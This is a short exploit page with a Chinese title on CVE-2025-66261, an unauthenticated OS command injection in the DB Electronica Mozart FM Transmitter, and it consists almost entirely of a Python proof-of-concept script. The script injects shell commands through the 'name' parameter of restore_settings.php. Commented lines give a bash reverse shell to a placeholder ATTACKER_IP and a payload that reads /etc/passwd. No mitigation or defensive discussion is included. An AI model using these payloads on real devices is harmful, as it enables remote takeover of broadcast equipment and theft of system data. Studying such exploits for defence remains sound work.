CVE-2025-66261 DB Electronica Mozart FM Transmitter 未授权命令注入漏洞

import requests # CVE-2025-66261 PoC - Unauthenticated OS Command Injection # Target: DB Electronica Mozart FM Transmitter # Vulnerability: restore_settings.php name parameter injection target = "http://target.com/var/tdf/restore_settings.php" # Basic command injection test - ping localhost payload = ";ping -c 3 127.0.0.1;" params = {"name": payload} response = requests.get(target, params=params) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") # Reverse shell payload example (encoded) # Replace with actual attacker IP and port # reverse_shell = ";bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;" # params = {"name": reverse_shell} # requests.get(target, params=params) # Data exfiltration example # cat /etc/passwd # exfil_payload = ";cat /etc/passwd;" # params = {"name": exfil_payload} # requests.get(target, params=params)